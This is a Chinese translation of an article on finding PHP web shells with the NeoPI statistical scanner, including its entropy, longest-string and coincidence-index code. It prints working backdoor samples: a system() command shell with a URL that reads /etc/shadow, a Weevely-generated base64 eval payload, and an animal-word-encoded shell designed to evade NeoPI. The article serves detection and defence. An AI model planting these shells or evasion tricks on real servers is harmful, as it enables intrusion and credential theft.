【51CTO.com 独家译稿】网页服务器已经成为当前恶意活动的主要目标之一,而且常常被视为机构基础设施内部的主要薄弱环节。网页应用程序代码总是在相关机构部署之后就被忘在一边或是处于无人维护的状态,这就使其很容易作为整套体系中的缺口受到攻击。网页应用程序在开发中常常会用到例如PHP,Python,Ruby以及Perl等脚本语言。由于这些语言自身的复杂性,因此很容易导致网页应用程序在执行任意脚本代码的过程中产生安全问题。
这些讨厌的"shell"到底做了什么?
当上述条件得到满足时,攻击者们往往会寻求一种利用部署网页shell代码并进行持续访问的方式来发动入侵。这种代码会建立起一套可以顺利访问网页服务器的"虚拟"shell。这种shell通常会在系统接受的指令执行及文件访问动作中,夹杂其它讨厌的恶意功能。
设想一下,当你意识到自己正在管理的某个网站有可能存在安全漏洞。你在网页服务器上所共享的PHP页面数以千计,而攻击者可能在其中的数个乃至更多页面上植入了后门程序。当然你会尝试通过对系统进行扫描并检查IDS(即入侵检测系统)日志文件来解决问题,但我们也可以想到,后门也许有能力对该运行环境进行自定义修改。如此一来,基于认证签名来发挥作用的工具将变得毫无用处。在这种情况下,我们该如何检测及清除此类杀毒软件及IDS无法寻获的后门呢?
这里我们所讨论的后门类型仅限于网页shell。网页shell型后门可被定义为:以一种非公开的方式在动态服务器端的网页页面中获取对计算机系统控制台的访问权限。一般来说这些网页shell构造简单、易于检测。举例说明,让我们一起看看下面这个PHP文件:
- if(isset($_REQUEST['cmd'])){
- echo "
- <pre>";
- $cmd = ($_REQUEST['cmd']);
- system($cmd);
- echo "</pre>
- ";
- die;
- }
- ?>
这个shell的构造十分简单,并允许攻击者只需输入如下图所示的网址即可轻松执行命令:
- http://comprimised-system.com/simple-backdoor.php?cmd=cat+/etc/shadow
而更复杂的网页shell则包含了与控制台的交互方式及文件编辑等内容。C99 shell所提供的自述文件(C99 shell是一款已经诞生将近十年的后门工具)中,规定了如下的特性:
- SQL Manager
- Visual File Manager (Many Features)
- PHP Eval
- Mail Bomber
- Get all readable home directories
- …
我们怎样检测出未加密的shell?
像C99这样的shell能够通过制定一些关键词搜索的方式被检测出来,当然使用一款基于签名认证的检测工具也同样可以做到。我们可以通过检索下面这一串内容来从网页服务器中尝试找出PHP后门(本例子借鉴于Steven Whitney的相关论著):
- grep -RPn "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|readfile|passthru)"/pathto/webdir/
可以想见,这种检索方式会产生大量误报,因为这些回馈有很大一部分来自合法的网页应用程序。我们也可以尝试利用类似Linux恶意软件检测(简称LMD)的工具。我们运行Linux恶意软件检测来对一款网页指令型shell所制造的九十个后门进行检测,而LMD能够通过扫描找出全部九十个后门中的三十七个。这么低的识别率其实并不奇怪,因为网页shell中有一些是专门针对Windows操作系统所设计的。而真正令人惊讶的是Linux恶意软件检测并没能够识别出诸如isko,shellzx这些致命的网页shell。
这些保障手段如何对抗自定义类型的shell?
我们还创建了一套自定义的网页shell。我们使用了Weevely工具来生成了一个恶意并加密了的后门,用以执行下列命令:
- server# python weevely.py -g -o test_shell.php -p qazwsxedc
该命令行的效果是生成了一个加密过的网络shell,密码为'qazwsxedc':
- eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwkYSk7IGlmKHJlc
- 2V0KCRhKT09J3FhJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPHp3c3hlZGM+JztldmFsKGJhc2U2NF 9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlfc2xpY2UoJGEsY291bnQoJGEpLTM pKSkpKTtlY2hvICc8L3p3c3hlZGM+Jzt9′));
- ?>
我们再次利用LMD对该目录进行检测,而test_shell.php未被识别出来。
为了克服基于签名认证体系的检测,有些网页shell,例如Weevely所生成的那些,通过采取一些特别的结构来规避检测的扫描机制。定制代码被进行压缩并利用加密技术来使其内容变得更具迷惑性,进而逃避侦查。这种情况在对抗基于签名认证或是关键字搜索的检测系统时尤为高效。此外,在企业的网页服务器上从数以万计的文件中查找包含特定内容的对象本身也非常困难,因为所需检索的目标数据的体积太过庞大。
部署一套网页shell到底有多简单?
这些shell的部署能够通过下列方法来加以简化:命令注入、文件上传漏洞、不安全的FTP(即文件传输协议)以及包含漏洞的远程文件。如果攻击者能够使目标网页服务器执行其所提供的后门程序,他们就能够使shell获得与网页服务器同样高的权限来对主机操作系统进行访问。
如果我们不能够安全地依靠传统方法,例如基于签名认证的扫描工具,来检测网页shell,那还有其它的备选方案吗?现在,让我们一同进入NeoPI吧。#p#
NeoPI
概述
NeoPI是一个由Python所编写的脚本,它使用多种统计方法来检测存在于文本及脚本文件中的,经过伪装处理或加密过的内容。NeoPI的预期目的是帮助我们定位网页shell的隐藏代码标识。NeoPI在发展方面的重心在于创造一套可与其它现有检测方案(例如Linux恶意软件检测或传统的基于签名认证/密钥信息的检索手段)同共作用的强大工具。
NeoPI是一款独立的平台,能够在安装了Python 2.6的任何操作系统平台上运行。要运行这套脚本的用户,首先需要获得读取计算机中所有文件的权限,这样该工具才能进行全盘扫描。
NeoPI将对整个文件系统由基层目录开始进行循环扫描,并按照一系列检测结果对文件进行评估分类。这种分类能够帮助我们识别哪些文件有较高的机率可能已经被经过加密的网页shell所侵入。它同时还提供了一种称为"总体"评分的系统,可以由单独的检测做出个别的文件分类。
分析方式讲解
NeoPI利用以下几种不同的统计方法,来尝试判断对象文件中包含恶意代码的可能性。
最长的字符串
最长的字符串指的是该种检测手段将文件中长度最长且不间断的字符串作为判断标识。这种方式相当实用,因为经过伪造处理的代码在经过编码的文本文件中往往是作为一条超长的字符串进行存储的。当前多数主流的编码方法,例如base64编码,都会产生一个没有空格字符的超长字符串。由于典型的文本及脚本文件,其内容在字符串的长度方面普遍较短,因此找出那些反常的长串字符可能有助于我们识别该文件中是否存在恶意代码。
- longest = 0
- words = re.split("[\s,\n,\r]", data)
- if words:
- for word in words:
- if len(word) > longest:
- longest = len(word)
- return longest
上述代码的功能是将某字符串以"单词"为单位用空格、换行及回车加以拆分后获得的结果。其运行之后将自动确定那些最长的字符串内容并在处理之后返回分析结果。
熵
熵是一种用来衡量及描述某值在不确定性方面所表现出来的强度的概念。Shannon(Claude Shannon,信息熵概念及符号逻辑与开关理论的奠基者)位是字节。该测试通过计算来确定目标编码文件中字节数最少的某个文件所必需的"Shannon熵值"。熵测量在识别加密型网页shell方面功效卓著,因为加密过程往往会使对象文本字符串的熵值大幅提升。
- entropy = 0
- for x in range(256):
- p_x = float(data.count(chr(x)))/len(data)
- if p_x > 0:
- entropy += - p_x * math.log(p_x, 2)
- return entropy
上面的代码将对Shannon熵值的具体"数据"进行计算并返回一个0到8之间的浮点数。所谓熵值代表的是"数据"的字节熵量。而浮点数字则相当于表示该"数据"所必需的字符位数。一个包含大量随机内容或特殊信息的文件将需要更多的字符位数来进行描述,也因此产生了较大熵值。利用这种功能来对浮点数值在从2到8区间的日志记录文件进行分析,返回的结果将介于0和1之间。而配合其它计算熵的措施协同工作,上述分析可能将对识别网页shell有所帮助。最终获得的数值越大,数据显示的各种信息的随机性越强、种类越多,也就是说熵量越大。
巧合指数
巧合指数(简称I.C.)是指一种用来对文本进行加密分析或自然语言分析的技术指标。它可以计算某个所有字母的出现机率相对平均的文本中,其字母组合的出现情况。这类计算往往会在分析不同类型的文本后得出挖的结论数值;无论该文本使用的是口头语言还是脚本语言。这一结论性数值在确定诸多同类文件中的异常文本文件中是非常有用的。这可能表明该文件所包含的文本部分有问题,无论是重新编码操作还是加密过程,都会使结果偏离正常的字符应用分布情况。
- char_count = 0
- total_char_count = 0
- for x in range(256):
- char = chr(x)
- charcount = data.count(char)
- char_count += charcount * (charcount - 1)
- total_char_count += charcount
- ic = float(char_count)/(total_char_count * (total_char_count - 1))
- self.ic_results.append({"filename":filename, "IC":ic})
- # Call method to caculate_char_count and append to total_char_count
- self.caculate_char_count(data)
- return ic
上面的代码代表对"数据"的巧合指数进行计算,并返回一个浮点数值。#p#
未来发展
NeoPI在未来的发展中将遵循以下几个特点:
" 额外的检测功能及根据文件格式进行良好的检测调整可以帮助我们更容易地通过测试发现细微的异常情况。举一个这方面的实例,比如运行并收集各个网页编程语言的平均巧合指数。目前所建立的检测方式在平均巧合指数方面只考虑到了文件内容的普遍情况,而未参照不同编程语言对其造成的影响。因此,要创建这样一套比照体系可能需要制作出非常大的Phthon代码库,用以进行巧合指数扫描以及结论信息的存储。否则可以预见,某个特定的Python文件极有可能因为其内容的特殊性而被巧合指数扫描误认为存在恶意代码。
" 熵模块则是另一项我们希望将其补充进传统统计分析过程的功能。熵模块将使我们能够读取基于预定义模块尺寸的文件并分析其特定部分的熵值。这可能会对识别那些利用结合英文文本及加密模块来回避检测的网页shell有所帮助。
" 引入多线程机制来加快文件的分析速度,这将对把此套检测系统推广到大型网络上非常有利。
最后,我们还计划向其中添加一些基本特征扫描,以为检测网页shell提供辅助机制。
如何使用
NeoPI具备独立的运行平台,因此无论是Linux还是Windows都能成为其发挥作用的舞台。要开始使用NeoPI,我们首先要从自己的github(即网站全局导航)代码库或从网上获取到必备的代码。
- git clone ssh://git@github.com:Neohapsis/NeoPI.git
这套小巧的NeoPI脚本现在就保存在我们的本地目录中了。我们先举几个Linux系统上应用的实例,然后再转向Windows平台。
让我们在运行neopi.py时加入-h参数来察看选项。
- [sbehrens@WebServer2 opt]$ ./neopi.py -h
- Usage: neopi.py [options]
- Options:
- -version show program's version number and exit
- -h, -help show this help message and exit
- -C FILECSV, -csv=FILECSV
- generate CSV outfile
- -a, -all Run all tests [Entropy, Longest Word, Compression
- -e, -entropy Run entropy Test
- -l, -longestword Run longest word test
- -c, -ic Run IC test
- -A, -auto Run auto file extension tests
让我们将这些选项再进一步细化。
- -C FILECSV, -csv=FILECSV
这将生成一个CSV输出文件,其中包含了扫描的结果。
-a, -all这将使NeoPI运行全部测试,包括熵量、最长字符串以及巧合指数检测。在一般情况下,我们建议大家运行全部测试项目,这样可以尽可能地建立起最为全面的网页shell名单。
-e, -entropy以上参数的加入会使扫描过程中只进行熵量测试。
-l, -longestword以上参数的加入会使扫描过程中只进行最长字符串测试。
-c, -ic以上参数的加入会使扫描过程只进行巧合指数测试。
-A, -auto
#p#
以上参数的加入会使扫描自动生成一个正式的书面列表,其中囊括了许多常见的网页应用程序文件扩展名。该列表并不全面,但包含了一种很好用的设置功能,即当我们不确定自己的服务器上所运行的网页应用程序是利用何种语言所编写时,它会"尽量"为其匹配合适的设置以进行扫描。当前列表所支持的扩展名如下:
- valid_regex =re.compile('\.php|\.asp|\.aspx|\.sh|\.bash|\.zsh|\.csh|\.tsch|\.pl|\.py|\.txt|\.cgi|\.cfm')
现在我们对参数已经比较熟悉,并且已经从GIT处下载得到了一套脚本,让我们继续进行,将其运行于可能被网页shell所感染的网络服务器上吧。为了事先了解最终扫描出的危险结果大概有多少页,我们可以运行如下命令:
需要强调的是,我们关注的并不是那些常见的图形模式。从这里我们可以看到,这类网络服务器上拥有数量庞大的网页。好吧,假如我可以自信地告诉大家,我的网络服务器只支持PHP类型的网页,那么看看在仅需处理这一类网页的情况下,我们得面对多少个页面吧:
我们可以看到,网络服务器中包含近四千个PHP页面。继续前进,我们在整个网页目录中安置四套网页shell程序。它们分别是一套经过完全加密的网页shell、一套C99型shell、一套包含加密机制与纯文本内容的混合shell及一个由Weevely所生成的shell。这些文件都经过了必要的修改,以防被基于签名认证体系的检测系统轻易发现。这一整套模拟环境是为了还原前面我们谈到的情况,即我们似乎意识到某个恶意的网页shell已然存在于自己的网页底层,但其于认证的恶意软件检测工具似乎无法找到任何危险文件。让我们继续运行NeoPI,看看它能不能帮我们解决问题。
- [sbehrens@WebServer2 opt]$ sudo ./neopi.py -C scan1.csv -a -A /var/www/
这就是输出的全部扫描结果。我们可以看到巧合指数平均值测试所找出的可疑文件数最多。这为我们提供一个巧合指数的平均值--0.0372。需要指出的是,通过分析所得出的巧合指数平均值并不具备标准的共同特点。另外一个有趣的现象是,对于一篇字母使用情况较为平均的英文文本的分析结果而言,其巧合指数平均值为0.0385。该工具将优先显示指数平均值最低的那些文件。我们可以看到shell3.php文件的巧合指数似乎存在异常。我们同样能看到Weevely,shell2.php以及shell.php被列入了可疑名单。接下来,我们继续看看熵量测试的结论,它所揪出的嫌疑人包括shell3.php,shell2.php以及Weevely。而最长字符串测试在全面检测方面的作用也得到了验证,shell3.php和shell2.php的加密后门被及时发现了。#p#
我们粗略计算了全部上述三种功能的平均数,并尝试通过它来向大家说明这三种功能找出危险文件的概率。正如上图所示,在综合排名最高的前十个文件中,NeoPI能够准确识别出shell3.php,weevely.php以及shell.php。shell2.php因为未进行加密,所以只被巧合指数及熵量这两项测试所发现,但最终其并未出现在结论性的危险文件列表中。我们强烈建议大家在参考整体检测结果的同时,也别忘记关注那些在单项检测中出现异常的文件。
Windows
该工具同时可与Windows系统兼容。在下面的例子中,我们用正式的列表来将搜索局限于PHP及文本类型的文件中。
- python neopi.py -a c:\temp\phpbb "php|txt"
NeoPI的弱点所在
对于所有的恶意软件检测工具来说,都存在着一定的方法来避免被其检测到。NeoPI的检测重心在于识别混淆代码,而事实上它常常在识别模糊代码方面表现得更好。未经模糊处理的代码对于NeoPI的检测机制来说是透明的,并能够完美地整合于系统中的其它代码上(但这很容易被基于签名认证或表达搜索的检测工具发现)。如果以这样的处理方式来对恶意代码进行加工,这种看起来很正常的文本将极可能无法被NeoPI识别出。因为首先,这类代码可能会被编码/解码成有效的英文单词或脚本语言文字,这种编码类型的字符串将很可能避过巧合指数测试的法眼,因为其字母出现频率与真正的代码保持一致。它同样在熵值上与合法文件具有统一性;而最后,只要其在存储方式上也足够小心,将完全能够逃脱最长字符串测试这一关。
下面这个例子就能够以简单的编码机制成功逃避NeoPI的代码检测。而它正是基于文章开头我们所提到的结构松散的PHP类shell。
- $string = "iguana frog EATS iguana seal seal elk tiger EATS SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS SLEEPS SLEEPS GIGGLES SPACE elk cat hog olm SPACE TICK GIGGLES SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS POOPS TICK MURDERS SPACE POOPS";
- $dict = array(
- "a" => ""ardvark","b" => "bat","c" => "cat","d" => "dog","e" => "elk","f" => "frog","g" => "goat","h" => "hog","i" => "iguana","j" => "jackal","k" => "kiwi","l" => "lion","m" => "mole","n" => "newt","o" => "olm","p" => "pig","q" => "quail","r" => "rat","s" => "seal","t" => "tiger","u" => "vulture","v" => "wasp","x" => "xena","y" => "yak","z" => "zebra"," " => "space","(" => "eats",")" => "sleeps","." => "sneezes","[" => "pukes","]" => "kills","'" => "jumps","\"" => "rolls",";" => "murders","=" => "dances","\$" => "sprints","{" => "giggles","}" => "poops","_" => "pees","<" => "falls",">" => "vomits","?" => "coughs","`" => "tick");
- function decode($string, $array) {
- $output = "";
- $words = explode(" ", $string);
- foreach ($words as $word) {
- $upper = isUpper($word);
- $word = strtolower($word);
- if ($key = array_search($word, $array)) {
- if ($upper) $key = strtoupper($key);
- $output = "{$output}{$key}";
- } else {
- $output = "{$output}{$word}";
- }
- }
- return $output;
- }
- function isUpper($char) {
- if (strtoupper($char) == $char) return true;
- return false;
- }
- eval(decode($string, $dict));
- ?>
结论
网页shell一直是种被忽视的威胁类型,难以察觉,并能够利用一些简单的手段逃避检测。我们已经讨论了利用包括熵量、最长字符串以及其它一些技术指示进行比照实验以检测这些恶意文件的方法。NeoPI希望能够不断发展并提供其它更新更好的测试方式,以便让更多类型的恶意文件无所遁形。
原文链接:http://resources.infosecinstitute.com/web-shell-detection/
【51CTO.com独家译稿,非经授权谢绝转载!合作媒体转载请注明原文出处及出处!】
【编辑推荐】